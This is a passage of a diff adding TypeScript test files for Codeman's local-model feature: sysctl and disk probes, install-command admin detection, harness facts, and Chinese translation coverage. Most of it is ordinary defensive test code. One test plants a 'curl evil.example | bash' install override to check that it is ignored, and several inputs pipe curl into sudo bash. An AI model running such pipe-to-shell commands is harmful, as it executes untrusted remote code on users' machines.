+    const callers = [readHardware(slow), readHardware(slow), readHardware(slow)];
+    // Let the three calls reach the spawn before it answers.
+    await new Promise((resolve) => setImmediate(resolve));
+    release(MACMINI_SYSCTL);
+    const results = await Promise.all(callers);
+    expect(spawned).toBe(1);
+    expect(results[1]).toBe(results[0]);
+    expect(results[2]).toBe(results[0]);
+  });
+
+  it('probes again after a reset, and does not trust a clock that ran backwards', async () => {
+    let clock = 9_000_000;
+    let spawned = 0;
+    const counting = deps({
+      now: () => clock,
+      runSysctl: async () => {
+        spawned++;
+        return MACMINI_SYSCTL;
+      },
+    });
+    await readHardware(counting);
+    resetHardwareCache();
+    await readHardware(counting);
+    expect(spawned).toBe(2);
+
+    clock -= 10_000;
+    await readHardware(counting);
+    expect(spawned).toBe(3);
+  });
+});
+
+// The scripts below are POSIX shell. Codeman's server does not run on Windows.
+describe.skipIf(process.platform === 'win32')('spawnSysctl, against a script of the test', () => {
+  let folder: string;
+
+  beforeEach(() => {
+    folder = mkdtempSync(join(tmpdir(), 'codeman-local-model-spawn-'));
+  });
+
+  afterEach(() => {
+    rmSync(folder, { recursive: true, force: true });
+  });
+
+  /** An executable shell script standing in for sysctl. */
+  function script(body: string, mode = 0o755): string {
+    const path = join(folder, 'fake-sysctl');
+    writeFileSync(path, `#!/bin/sh\n${body}\n`, { mode });
+    return path;
+  }
+
+  it('passes the seven keys as arguments and nothing else: no -n, no shell', async () => {
+    // printf, not echo: echo would swallow a `-n` argument, the very thing this test looks for.
+    const output = await spawnSysctl(script('printf \'%s\\n\' "$@"'));
+    expect(output?.trimEnd().split('\n')).toEqual([...SYSCTL_KEYS]);
+  });
+
+  it('reads the output of a program that exits 1, as sysctl does on an Intel Mac', async () => {
+    // Three keys are unknown there: their errors go to stderr, the other four lines to stdout.
+    const output = await spawnSysctl(
+      script(
+        [
+          "echo 'hw.memsize: 17179869184'",
+          "echo 'machdep.cpu.brand_string: Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz'",
+          `echo "sysctl: unknown oid 'hw.optional.arm64'" >&2`,
+          `echo "sysctl: unknown oid 'sysctl.proc_translated'" >&2`,
+          `echo "sysctl: unknown oid 'iogpu.wired_limit_mb'" >&2`,
+          "echo 'kern.osproductversion: 13.6.7'",
+          "echo 'hw.model: MacBookPro15,1'",
+          'exit 1',
+        ].join('\n')
+      )
+    );
+    expect(output).toBeDefined();
+    expect(output).not.toContain('unknown oid');
+    expect(parseSysctl(output as string)).toEqual({
+      memBytes: 17_179_869_184,
+      chip: 'Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz',
+      macosVersion: '13.6.7',
+      macosMajor: 13,
+      model: 'MacBookPro15,1',
+    });
+  });
+
+  it('answers undefined for a program that does not exist or may not be run', async () => {
+    expect(await spawnSysctl(join(folder, 'no-such-program'))).toBeUndefined();
+    expect(await spawnSysctl(script('echo "hw.memsize: 1"', 0o644))).toBeUndefined();
+  });
+
+  it('gives up on a program that hangs, and does not hand over half an output', async () => {
+    const started = Date.now();
+    // `exec` so the signal reaches the sleeper itself and nothing is left behind.
+    const output = await spawnSysctl(script("echo 'hw.memsize: 17179869184'\nexec sleep 20"), 200);
+    expect(output).toBeUndefined();
+    expect(Date.now() - started).toBeLessThan(5000);
+  });
+
+  it('answers undefined for an output far larger than seven lines', async () => {
+    expect(await spawnSysctl(script("head -c 200000 /dev/zero | tr '\\0' 'x'"))).toBeUndefined();
+  });
+
+  it("does not pass the server's environment to the program", async () => {
+    const name = 'CODEMAN_LOCAL_MODEL_TEST_SECRET';
+    process.env[name] = 'hunter2';
+    try {
+      const output = await spawnSysctl(script(`echo "secret=\${${name}:-unset}"`));
+      expect(output?.trim()).toBe('secret=unset');
+    } finally {
+      delete process.env[name];
+    }
+  });
+});
+
+describe('dataDirFreeBytes', () => {
+  let folder: string;
+
+  beforeEach(() => {
+    folder = mkdtempSync(join(tmpdir(), 'codeman-local-model-disk-'));
+  });
+
+  afterEach(() => {
+    rmSync(folder, { recursive: true, force: true });
+  });
+
+  it('reads the free bytes of the data dir with the real probe and the real statfs', async () => {
+    const free = await dataDirFreeBytes({ dataDir: () => folder });
+    expect(typeof free).toBe('number');
+    expect(free).toBeGreaterThanOrEqual(0);
+  });
+
+  it('uses the nearest existing parent when the data dir does not exist yet', async () => {
+    const asked: string[] = [];
+    const free = await dataDirFreeBytes({
+      dataDir: () => join(folder, 'not', 'yet', 'there'),
+      freeBytesOf: async (path) => {
+        asked.push(path);
+        return 123;
+      },
+    });
+    expect(free).toBe(123);
+    expect(asked).toEqual([folder]);
+  });
+
+  it('does not touch a folder whose mount does not answer, or a path that is a file', async () => {
+    for (const kind of ['unknown', 'file'] as const) {
+      let touched = 0;
+      const free = await dataDirFreeBytes({
+        dataDir: () => folder,
+        probeKind: async () => kind,
+        freeBytesOf: async () => {
+          touched++;
+          return 1;
+        },
+      });
+      expect(free, kind).toBeUndefined();
+      expect(touched, kind).toBe(0);
+    }
+  });
+
+  it('stops walking up after a few parents', async () => {
+    let probes = 0;
+    const free = await dataDirFreeBytes({
+      dataDir: () => '/a/b/c/d/e/f/g/h/i/j/k/l',
+      probeKind: async () => {
+        probes++;
+        return 'absent';
+      },
+      freeBytesOf: async () => 1,
+    });
+    expect(free).toBeUndefined();
+    expect(probes).toBe(7);
+  });
+
+  it('gives up on a statfs that does not come back, and never starts a second one meanwhile', async () => {
+    let started = 0;
+    let finish: (bytes: number) => void = () => {};
+    const hanging = {
+      dataDir: () => folder,
+      freeBytesOf: () => {
+        started++;
+        return new Promise<number>((resolve) => {
+          finish = resolve;
+        });
+      },
+      timeoutMs: 20,
+    };
+
+    // The first read waits its timeout and answers "unknown".
+    expect(await dataDirFreeBytes(hanging)).toBeUndefined();
+    expect(started).toBe(1);
+
+    // While that statfs is still out, later reads answer at once and start nothing.
+    const before = Date.now();
+    expect(await dataDirFreeBytes(hanging)).toBeUndefined();
+    expect(await dataDirFreeBytes({ ...hanging, timeoutMs: 60_000 })).toBeUndefined();
+    expect(Date.now() - before).toBeLessThan(1000);
+    expect(started).toBe(1);
+
+    // Once it finally answers, the next read works again.
+    finish(5);
+    await new Promise((resolve) => setImmediate(resolve));
+    expect(await dataDirFreeBytes({ ...hanging, freeBytesOf: async () => 42 })).toBe(42);
+  });
+
+  it('never rejects when one of its reads does', async () => {
+    const failing = async (): Promise<never> => {
+      throw new Error('EIO');
+    };
+    expect(await dataDirFreeBytes({ dataDir: () => folder, freeBytesOf: failing })).toBeUndefined();
+    expect(await dataDirFreeBytes({ dataDir: () => folder, probeKind: failing })).toBeUndefined();
+    expect(
+      await dataDirFreeBytes({
+        dataDir: () => {
+          throw new Error('no home');
+        },
+      })
+    ).toBeUndefined();
+  });
+
+  it('is bounded by default', () => {
+    expect(FREE_DISK_TIMEOUT_MS).toBe(2000);
+  });
+});
+
+describe('the real defaults', () => {
+  let folder: string;
+
+  beforeEach(() => {
+    folder = mkdtempSync(join(tmpdir(), 'codeman-local-model-hw-'));
+  });
+
+  afterEach(() => {
+    rmSync(folder, { recursive: true, force: true });
+  });
+
+  it('reads the free bytes of a real folder, and undefined for one that does not exist', async () => {
+    const free = await freeDiskBytesOf(folder);
+    expect(typeof free).toBe('number');
+    expect(free).toBeGreaterThanOrEqual(0);
+    expect(await freeDiskBytesOf(join(folder, 'missing', 'deeper'))).toBeUndefined();
+  });
+
+  it('never rejects with the real spawn and the real disk read, whatever machine this is', async () => {
+    // Pretend to be a Mac so the spawn and the disk read really run. On Linux /usr/sbin/sysctl
+    // either does not exist or knows none of the keys: the answer is then the fallback.
+    const hw = await readHardware({ platform: 'darwin' });
+    expect(['sysctl', 'os-fallback']).toContain(hw.source);
+    expect(hw.memBytes).toBeGreaterThan(0);
+    expect(hw.memGb).toMatch(/^\d+(\.\d)?$/);
+    if (hw.freeDiskBytes !== undefined) {
+      expect(hw.freeDiskBytes).toBeGreaterThanOrEqual(0);
+      expect(hw.freeDiskGb).toMatch(/^\d+(\.\d)?$/);
+    }
+  });
+});

test/local-model-harness-facts.test.ts

@@ -0,0 +1,395 @@
+/**
+ * @fileoverview `buildHarnessFacts()`: what the server knows about each catalogue harness on
+ * this machine (src/local-model/harness-facts.ts), read from the CLI registry at call time.
+ *
+ * The catalogue here is the test's own: the stock one is filled by another module and its rows
+ * are not what this file is about. The registry is the REAL stock registry unless a test says
+ * otherwise, so the model id anchors below are regression anchors on shipped data.
+ *
+ * Two things a reader should know before trusting a green run:
+ *  - Under vitest the real availability probe is inert (it finds no CLI). A test that cares
+ *    about `installed` therefore injects `probeInstalled`.
+ *  - The registry's install command resolver reads `process.platform` and falls back to the
+ *    Linux command, so on a Linux machine it never returns a macOS command. The macOS cases
+ *    inject `installCommandFor` and read the entry's own `darwin` command.
+ *  - The command a fact carries (`installCommand`) is the COMPILED stock command, the one the
+ *    install job would run. A `clis.json` override changes what the registry shows and must
+ *    not change it.
+ *
+ * Port: none (no server; the on-disk case uses the per-file temp HOME from test/setup.ts).
+ */
+
+import { afterEach, describe, expect, it, vi } from 'vitest';
+import { existsSync, mkdirSync, rmSync, writeFileSync } from 'node:fs';
+import { dirname } from 'node:path';
+import {
+  buildHarnessFacts,
+  cliAcceptsCustomModelId,
+  installCommandNeedsAdmin,
+} from '../src/local-model/harness-facts.js';
+import { stockInstallCommand } from '../src/cli-install-runner.js';
+import { getCli, registryFilePath, reloadCliRegistry } from '../src/config/cli-registry/registry.js';
+import type { CliEntry } from '../src/config/cli-registry/types.js';
+import type { LocalModelCatalog } from '../src/types.js';
+
+/** A catalogue whose harness rows are `clis`, in that order. Nothing else in it matters here. */
+function catalogWith(clis: string[]): LocalModelCatalog {
+  return {
+    schema: 1,
+    updated: '2026-11-06',
+    minMacosMajor: 14,
+    models: [],
+    harnesses: clis.map((cli, index) => ({ cli, minContext: 32768, rank: clis.length - index })),
+    chips: [],
+  };
+}
+
+function stockEntry(id: string): CliEntry {
+  const entry = getCli(id);
+  if (!entry) throw new Error(`${id} is missing from the CLI registry`);
+  return entry;
+}
+
+/** The command the registry holds for macOS, whatever machine the test runs on. */
+const darwinCommand = (entry: CliEntry): string | undefined => entry.discovery.install.command.darwin;
+
+/** A probe that reports exactly these CLIs as installed. */
+const installedOnly =
+  (...ids: string[]) =>
+  async () =>
+  (entry: CliEntry) =>
+    ids.includes(entry.id as string);
+
+afterEach(() => {
+  const path = registryFilePath();
+  if (existsSync(path)) rmSync(path);
+  reloadCliRegistry();
+  vi.restoreAllMocks();
+});
+
+describe('installCommandNeedsAdmin', () => {
+  it.each([
+    ['brew install can1357/tap/omp', true],
+    ['  brew install something', true],
+    ['sudo apt install something', true],
+    ['curl -fsSL https://example.com/install.sh | sudo bash', true],
+    ['npm install -g thing && sudo ln -s a b', true],
+    ['echo first; brew install thing', true],
+    ['echo first\nsudo make install', true],
+    ['(brew install thing)', true],
+    ['curl -fsSL https://opencode.ai/install | bash', false],
+    ['curl -fsSL https://claude.ai/install.sh | bash', false],
+    ['npm install -g --ignore-scripts @earendil-works/pi-coding-agent', false],
+    ['npm install -g @deepseek-ai/dsh && (command -v pnpm >/dev/null || npm install -g pnpm)', false],
+    // The words inside a URL, a package name or an argument are not a command.
+    ['curl -fsSL https://brew.sh/install.sh | bash', false],
+    ['npm install -g homebrew-sudo-helper', false],
+    ['echo sudo', false],
+  ])('%s -> %s', (command, expected) => {
+    expect(installCommandNeedsAdmin(command)).toBe(expected);
+  });
+
+  it('agrees with the registry on every stock macOS command: only a Homebrew one needs an administrator', () => {
+    expect(installCommandNeedsAdmin(darwinCommand(stockEntry('omp')) ?? '')).toBe(true);
+    for (const id of ['claude', 'opencode', 'codex', 'pi']) {
+      expect(installCommandNeedsAdmin(darwinCommand(stockEntry(id)) ?? '')).toBe(false);
+    }
+  });
+});
+
+describe('cliAcceptsCustomModelId (the launch path’s model id test, on the stock registry)', () => {
+  it('accepts a registry style `name:tag` id for the CLIs that can carry a colon', () => {
+    // opencode and claude select the model in their config or environment: no launch id at all.
+    // pi and codex force the id onto `--model`, and both of their patterns allow a colon.
+    for (const id of ['opencode', 'claude', 'pi', 'codex']) {
+      expect(cliAcceptsCustomModelId(stockEntry(id), 'qwen3.5:9b')).toBe(true);
+    }
+  });
+
+  it('refuses a colon for a CLI whose `--model` pattern has none, and accepts the same CLI without it', () => {
+    const omp = stockEntry('omp');
+    expect(cliAcceptsCustomModelId(omp, 'qwen3.5:9b')).toBe(false);
+    expect(cliAcceptsCustomModelId(omp, 'qwen3-coder')).toBe(true);
+  });
+
+  it('refuses the ids the launch routes’ own tests refuse', () => {
+    // test/routes/quick-start-custom-model.test.ts pins both pairs against the real route.
+    expect(cliAcceptsCustomModelId(stockEntry('pi'), 'qwen 3 with spaces')).toBe(false);
+    expect(cliAcceptsCustomModelId(stockEntry('codex'), 'org/model@q4_k_m')).toBe(false);
+  });
+
+  it('is false for a CLI with no custom model mechanism', () => {
+    expect(cliAcceptsCustomModelId(stockEntry('shell'), 'qwen3.5:9b')).toBe(false);
+    expect(cliAcceptsCustomModelId(stockEntry('antigravity'), 'qwen3.5:9b')).toBe(false);
+  });
+
+  it('reads the entry it is given, so a changed pattern changes the answer (no id is looked at)', () => {
+    const omp = stockEntry('omp');
+    const widened: CliEntry = {
+      ...omp,
+      launch: { ...omp.launch, params: { ...omp.launch.params, model: { type: 'token', pattern: 'model-pi' } } },
+    };
+    expect(cliAcceptsCustomModelId(widened, 'qwen3.5:9b')).toBe(true);
+  });
+});
+
+describe('buildHarnessFacts', () => {
+  it('answers one fact per catalogue harness, in catalogue order, with the registry’s label', async () => {
+    const facts = await buildHarnessFacts(catalogWith(['pi', 'opencode', 'claude']), {
+      probeInstalled: installedOnly('opencode'),
+      installCommandFor: darwinCommand,
+    });
+    expect(facts.map((f) => f.cli)).toEqual(['pi', 'opencode', 'claude']);
+    expect(facts.map((f) => f.label)).toEqual(['pi', 'opencode', 'claude'].map((id) => stockEntry(id).label));
+    expect(facts.map((f) => f.installed)).toEqual([false, true, false]);
+  });
+
+  it('leaves out a CLI the registry does not know, one with no custom model mechanism, and a disabled one', async () => {
+    const disabled = (id: string): CliEntry | undefined => {
+      const entry = getCli(id);
+      return entry && id === 'claude' ? { ...entry, enabled: false } : entry;
+    };
+    const facts = await buildHarnessFacts(catalogWith(['no-such-cli', 'shell', 'antigravity', 'claude', 'opencode']), {
+      getCli: disabled,
+      probeInstalled: installedOnly(),
+    });
+    expect(facts.map((f) => f.cli)).toEqual(['opencode']);
+  });
+
+  it('keeps one fact for a CLI the catalogue lists twice', async () => {
+    const facts = await buildHarnessFacts(catalogWith(['opencode', 'opencode']), { probeInstalled: installedOnly() });
+    expect(facts.map((f) => f.cli)).toEqual(['opencode']);
+  });
+
+  it('installable: not installed, a stock CLI, and a macOS command that needs no administrator', async () => {
+    const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi', 'omp']), {
+      probeInstalled: installedOnly('claude'),
+      installCommandFor: darwinCommand,
+    });
+    const byCli = new Map(facts.map((f) => [f.cli, f]));
+    // curl installer into the home directory.
+    expect(byCli.get('opencode')).toMatchObject({ installed: false, installable: true });
+    // Already there: nothing to install.
+    expect(byCli.get('claude')).toMatchObject({ installed: true, installable: false });
+    // npm: the install runner points it at a prefix the server user can write.
+    expect(byCli.get('pi')).toMatchObject({ installed: false, installable: true });
+    // Homebrew on macOS.
+    expect(byCli.get('omp')).toMatchObject({ installed: false, installable: false });
+  });
+
+  it('installable is false without an install command, for a sudo command, and for a custom entry', async () => {
+    const command = vi.fn<(entry: CliEntry) => string | undefined>();
+    command.mockReturnValueOnce(undefined);
+    expect(
+      (
+        await buildHarnessFacts(catalogWith(['opencode']), {
+          probeInstalled: installedOnly(),
+          installCommandFor: command,
+        })
+      )[0].installable
+    ).toBe(false);
+    command.mockReturnValueOnce('   ');
+    expect(
+      (
+        await buildHarnessFacts(catalogWith(['opencode']), {
+          probeInstalled: installedOnly(),
+          installCommandFor: command,
+        })
+      )[0].installable
+    ).toBe(false);
+    command.mockReturnValueOnce('sudo installer -pkg agent.pkg -target /');
+    expect(
+      (
+        await buildHarnessFacts(catalogWith(['opencode']), {
+          probeInstalled: installedOnly(),
+          installCommandFor: command,
+        })
+      )[0].installable
+    ).toBe(false);
+
+    // A custom entry's install command is never run by the install runner, so it is never
+    // offered, however harmless the text looks.
+    const custom = (id: string): CliEntry | undefined => {
+      const entry = getCli(id);
+      return entry ? { ...entry, stock: false } : entry;
+    };
+    const harmless = vi.fn(() => 'curl -fsSL https://example.com/install | bash');
+    const facts = await buildHarnessFacts(catalogWith(['opencode']), {
+      getCli: custom,
+      probeInstalled: installedOnly(),
+      installCommandFor: harmless,
+    });
+    expect(facts[0].installable).toBe(false);
+    expect(harmless).not.toHaveBeenCalled();
+  });
+
+  it('never reads an install command for a CLI that is already installed', async () => {
+    const command = vi.fn(() => 'curl -fsSL https://example.com/install | bash');
+    const facts = await buildHarnessFacts(catalogWith(['opencode']), {
+      probeInstalled: installedOnly('opencode'),
+      installCommandFor: command,
+    });
+    expect(facts[0]).toMatchObject({ installed: true, installable: false });
+    expect(command).not.toHaveBeenCalled();
+  });
+
+  it('acceptsModelId is the launch path’s test for that harness', async () => {
+    const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi', 'omp']), {
+      probeInstalled: installedOnly(),
+    });
+    const accepts = (cli: string, modelId: string) => facts.find((f) => f.cli === cli)?.acceptsModelId(modelId);
+    expect(accepts('opencode', 'qwen3.5:9b')).toBe(true);
+    expect(accepts('claude', 'qwen3.8:27b-q8_0')).toBe(true);
+    expect(accepts('pi', 'gpt-oss:20b')).toBe(true);
+    expect(accepts('omp', 'gpt-oss:20b')).toBe(false);
+  });
+
+  it('asks the availability probe once per build, not once per harness', async () => {
+    const probe = vi.fn(installedOnly('opencode'));
+    await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi']), { probeInstalled: probe });
+    expect(probe).toHaveBeenCalledTimes(1);
+  });
+
+  it('a probe that fails is an answer: every harness reads as not installed, and install data still counts', async () => {
+    const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
+    const facts = await buildHarnessFacts(catalogWith(['opencode', 'omp']), {
+      probeInstalled: async () => {
+        throw new Error('login shell did not answer');
+      },
+      installCommandFor: darwinCommand,
+    });
+    expect(facts.map((f) => [f.cli, f.installed, f.installable])).toEqual([
+      ['opencode', false, true],
+      ['omp', false, false],
+    ]);
+    expect(warn).toHaveBeenCalledTimes(1);
+    expect(String(warn.mock.calls[0][0])).toContain('login shell did not answer');
+  });
+
+  it('a probe that throws for one harness does not take the others down', async () => {
+    const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
+    const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude']), {
+      probeInstalled: async () => (entry) => {
+        if (entry.label === stockEntry('opencode').label) throw new Error('boom');
+        return true;
+      },
+    });
+    expect(facts.map((f) => [f.cli, f.installed])).toEqual([
+      ['opencode', false],
+      ['claude', true],
+    ]);
+    expect(warn).toHaveBeenCalledTimes(1);
+  });
+
+  it('reads the registry when it is called, not when the module loaded', async () => {
+    const before = await buildHarnessFacts(catalogWith(['opencode', 'claude']));
+    expect(before.map((f) => f.cli)).toEqual(['opencode', 'claude']);
+
+    // The user disables a CLI in ~/.codeman/clis.json after the module was imported.
+    const path = registryFilePath();
+    mkdirSync(dirname(path), { recursive: true });
+    writeFileSync(path, JSON.stringify({ schemaVersion: 1, clis: { opencode: { enabled: false } } }), { mode: 0o600 });
+    reloadCliRegistry();
+
+    const after = await buildHarnessFacts(catalogWith(['opencode', 'claude']));
+    expect(after.map((f) => f.cli)).toEqual(['claude']);
+  });
+
+  it('with its default dependencies it spawns nothing under vitest and finds no CLI installed', async () => {
+    const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi']));
+    expect(facts.map((f) => f.cli)).toEqual(['opencode', 'claude', 'pi']);
+    expect(facts.every((f) => f.installed === false)).toBe(true);
+    // opencode's install command is a curl installer on every platform the registry lists.
+    expect(facts[0].installable).toBe(true);
+  });
+
+  it('an empty harness list is an empty answer', async () => {
+    expect(await buildHarnessFacts(catalogWith([]))).toEqual([]);
+  });
+
+  describe('installCommand: the literal command the consent screen prints', () => {
+    it('is present exactly when the fact is installable, and is the command that was judged', async () => {
+      const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi', 'omp']), {
+        probeInstalled: installedOnly('claude'),
+        installCommandFor: darwinCommand,
+      });
+      for (const fact of facts) {
+        expect('installCommand' in fact).toBe(fact.installable);
+      }
+      const byCli = new Map(facts.map((f) => [f.cli, f]));
+      expect(byCli.get('opencode')?.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash');
+      expect(byCli.get('pi')?.installCommand).toBe(darwinCommand(stockEntry('pi')));
+      // Installed: nothing would be run, so nothing is shown.
+      expect(byCli.get('claude')).not.toHaveProperty('installCommand');
+      // Homebrew needs an administrator: not installable, and no command is offered.
+      expect(byCli.get('omp')).not.toHaveProperty('installCommand');
+    });
+
+    it('with its default dependencies it is the stock command of this platform', async () => {
+      const [fact] = await buildHarnessFacts(catalogWith(['opencode']));
+      expect(fact).toMatchObject({
+        installed: false,
+        installable: true,
+        installCommand: stockInstallCommand('opencode'),
+      });
+      expect(fact.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash');
+    });
+
+    it('a clis.json override of the install command changes neither the fact nor whether it is installable', async () => {
+      const path = registryFilePath();
+      mkdirSync(dirname(path), { recursive: true });
+      writeFileSync(
+        path,
+        JSON.stringify({
+          schemaVersion: 1,
+          clis: {
+            opencode: {
+              discovery: {
+                install: { command: { linux: 'curl evil.example | bash', darwin: 'curl evil.example | bash' } },
+              },
+            },
+          },
+        }),
+        { mode: 0o600 }
+      );
+      reloadCliRegistry();
+      // The override is what the registry now says...
+      expect(stockEntry('opencode').discovery.install.command.darwin).toBe('curl evil.example | bash');
+      // ...and it is not what the install job would run, so it is not what the fact carries.
+      const [fact] = await buildHarnessFacts(catalogWith(['opencode']));
+      expect(fact.installable).toBe(true);
+      expect(fact.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash');
+    });
+
+    it('an override that makes the registry command need an administrator does not hide a stock command that needs none', async () => {
+      const path = registryFilePath();
+      mkdirSync(dirname(path), { recursive: true });
+      writeFileSync(
+        path,
+        JSON.stringify({
+          schemaVersion: 1,
+          clis: { opencode: { discovery: { install: { command: { linux: 'sudo true', darwin: 'sudo true' } } } } },
+        }),
+        { mode: 0o600 }
+      );
+      reloadCliRegistry();
+      const [fact] = await buildHarnessFacts(catalogWith(['opencode']));
+      expect(fact.installable).toBe(true);
+      expect(fact.installCommand).not.toContain('sudo');
+    });
+
+    it('a custom entry never carries a command: its install text is never run', async () => {
+      const custom = (id: string): CliEntry | undefined => {
+        const entry = getCli(id);
+        return entry ? { ...entry, stock: false } : entry;
+      };
+      const [fact] = await buildHarnessFacts(catalogWith(['opencode']), {
+        getCli: custom,
+        probeInstalled: installedOnly(),
+        installCommandFor: darwinCommand,
+      });
+      expect(fact.installable).toBe(false);
+      expect(fact).not.toHaveProperty('installCommand');
+    });
+  });
+});

test/local-model-i18n.test.ts

@@ -0,0 +1,226 @@
+/**
+ * @fileoverview "Run a model on this Mac" in Chinese (zh-CN): the welcome button, the chooser
+ * window and the App Settings group.
+ *
+ * Three sources of text, all checked against the real dictionary in i18n.js:
+ *  - the module's own strings, HARVESTED from the real local-model-ui.js (every literal it
+ *    passes to `localModelT`), so a new string without an entry fails here instead of showing
+ *    up English on one surface;
+ *  - every sentence and label the SERVER may send: the recommendation (`LOCAL_MODEL_LABELS`),
+ *    the tag of a model row (`LOCAL_MODEL_TAG_LABELS`) and the install
+ *    (`LOCAL_MODEL_INSTALL_LABELS`), all imported from the contract, so a label added there
+ *    fails here until it has an entry;
+ *  - the static strings of the real index.html (the Settings group's heading and hint, the
+ *    window's title), run through the real DOM translator.
+ *
+ * The window's body, the welcome button and the Settings row carry data-i18n-skip (model,
+ * coding agent and chip names are someone else's text), so nothing in them is reached by the
+ * DOM translator: these strings translate only through the module's own call, which is why
+ * they are checked through `t()` here.
+ *
+ * Beyond "it is Chinese now", each entry must keep its `{placeholder}` slots: a translation
+ * that drops one prints a sentence without its number.
+ *
+ * Port: N/A.
+ */
+import { readFileSync } from 'node:fs';
+import { resolve } from 'node:path';
+import vm from 'node:vm';
+import { JSDOM } from 'jsdom';
+import { afterAll, describe, expect, it } from 'vitest';
+import {
+  LOCAL_MODEL_ERROR_LABELS,
+  LOCAL_MODEL_INSTALL_LABELS,
+  LOCAL_MODEL_LABELS,
+  LOCAL_MODEL_NONE_LABELS,
+  LOCAL_MODEL_TAG_LABELS,
+} from '../src/types.js';
+
+const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
+const I18N = readFileSync(resolve(PUBLIC, 'i18n.js'), 'utf8');
+const INDEX = readFileSync(resolve(PUBLIC, 'index.html'), 'utf8');
+const MODULE = readFileSync(resolve(PUBLIC, 'local-model-ui.js'), 'utf8');
+
+type Api = {
+  configure(o: Record<string, string>): void;
+  start(): void;
+  t(source: string, vars?: Record<string, string>): string;
+};
+
+/** Every literal the module hands to its translator call (Prettier may break after the paren). */
+const FROM_MODULE = [...new Set([...MODULE.matchAll(/localModelT\(\s*'([^']+)'/g)].map((m) => m[1]))];
+/** Every text the server may send: the recommendation, the tag of a row, the install. */
+const FROM_SERVER: string[] = [
+  ...new Set([
+    ...Object.values(LOCAL_MODEL_LABELS),
+    ...Object.values(LOCAL_MODEL_TAG_LABELS),
+    ...Object.values(LOCAL_MODEL_INSTALL_LABELS),
+  ]),
+];
+
+/** A page with only the translator in it: enough for `t()`, and cheap to re-configure. */
+const small = new JSDOM('<!doctype html><html><body></body></html>', {
+  runScripts: 'outside-only',
+  url: 'http://localhost/',
+});
+vm.runInContext(I18N, small.getInternalVMContext(), { filename: 'i18n.js' });
+const api = (small.window as unknown as { CodemanI18n: Api }).CodemanI18n;
+api.configure({ language: 'zh-CN' });
+
+/** The real page, translated once, for the strings that live in index.html. */
+const page = new JSDOM(INDEX, { runScripts: 'outside-only', url: 'http://localhost/' });
+vm.runInContext(I18N, page.getInternalVMContext(), { filename: 'i18n.js' });
+const pageApi = (page.window as unknown as { CodemanI18n: Api }).CodemanI18n;
+pageApi.start();
+pageApi.configure({ language: 'zh-CN' });
+
+afterAll(() => {
+  small.window.close();
+  page.window.close();
+});
+
+/** The static strings of the page, as index.html ships them (English): the Settings group and the window's title. */
+const GROUP_MARKUP = INDEX.match(
+  /<div class="set-group" id="localModelGroup">\s*<div class="set-group-head"><h4>([^<]+)<\/h4><\/div>\s*<p class="set-group-hint">([^<]+)<\/p>/
+);
+const TITLE_MARKUP = INDEX.match(/<h3 id="localModelModalTitle">([^<]+)<\/h3>/);
+const STATIC =
+  GROUP_MARKUP && TITLE_MARKUP ? [GROUP_MARKUP[1].trim(), GROUP_MARKUP[2].trim(), TITLE_MARKUP[1].trim()] : [];
+
+const ALL = [...new Set([...FROM_MODULE, ...FROM_SERVER, ...STATIC])];
+
+/** The `{slot}` names of a source text. */
+const slots = (text: string) => [...text.matchAll(/\{([a-zA-Z]\w*)\}/g)].map((m) => m[1]);
+
+/** U+2013, U+2014 and U+2015, built from their code points so this file holds none of them. */
+const LONG_DASH = new RegExp(`[${String.fromCharCode(0x2013, 0x2014, 0x2015)}]`);
+
+/**
+ * What may stay Latin: the product, the platform and its vendors, the units, Token (the
+ * dictionary's own word), and the proper names of the install (the runtime, the two tools a
+ * coding agent calls, the GPU and an API key).
+ */
+const leftover = (text: string) =>
+  text.replace(/\b(Codeman|macOS|Mac|GB|MB|Apple|Intel|Token|Ollama|GPU|API|git|Python)\b/g, '').match(/[A-Za-z]+/g) ??
+  [];
+
+describe('the local model strings in zh-CN', () => {
+  it('harvests the module (the check is not vacuous)', () => {
+    expect(FROM_MODULE).toContain('Run a local model');
+    expect(FROM_MODULE).toContain('Local model');
+    expect(FROM_MODULE).toContain('About {need} of {budget} GB of memory');
+    expect(FROM_MODULE).toContain('Install on this Mac');
+    expect(FROM_MODULE).toContain('Download and install');
+    expect(FROM_MODULE).toContain('{speed} MB per second, {left}');
+    expect(FROM_MODULE).toContain('You can close this window. The download continues while Codeman is running.');
+    expect(FROM_MODULE).toContain('Start a session');
+    expect(FROM_MODULE).toContain('{model} is ready on this Mac.');
+    expect(FROM_MODULE.length).toBeGreaterThanOrEqual(70);
+    // The only other way the module calls its translator is with payload text (a server
+    // sentence, or the tag of a row), so no string of its own can reach the page unharvested.
+    const code = MODULE.split('\n')
+      .filter((line) => !/^\s*(\/\/|\*|\/\*)/.test(line))
+      .join('\n');
+    const calls = code.split('localModelT(').length - 1;
+    const literalCalls = [...code.matchAll(/localModelT\(\s*'/g)].length;
+    const payloadCalls = [...code.matchAll(/localModelT\((message\.text, message\.vars|label)\)/g)].length;
+    // One more: the function's own declaration.
+    expect(calls).toBe(literalCalls + payloadCalls + 1);
+    expect(payloadCalls).toBe(2);
+    // The stage that only read is gone, with its sentence.
+    expect(MODULE).not.toContain('cannot download or install');
+  });
+
+  it('lists every server label: the recommendation, the tags and the install', () => {
+    // A label added to the contract later fails below by its text, not here by a count.
+    expect(FROM_SERVER.length).toBeGreaterThanOrEqual(18 + 3 + 26);
+    for (const text of Object.values(LOCAL_MODEL_NONE_LABELS)) expect(FROM_SERVER).toContain(text);
+    // Every error code has its sentence in the list.
+    for (const text of Object.values(LOCAL_MODEL_ERROR_LABELS)) expect(FROM_SERVER).toContain(text);
+    expect(FROM_SERVER).toContain('Best fit for this Mac');
+    expect(FROM_SERVER).toContain('Speed unknown');
+    expect(FROM_SERVER).toContain('Tested on a Mac like this');
+    expect(FROM_SERVER).toContain('Best fit');
+    expect(FROM_SERVER).toContain('Small model');
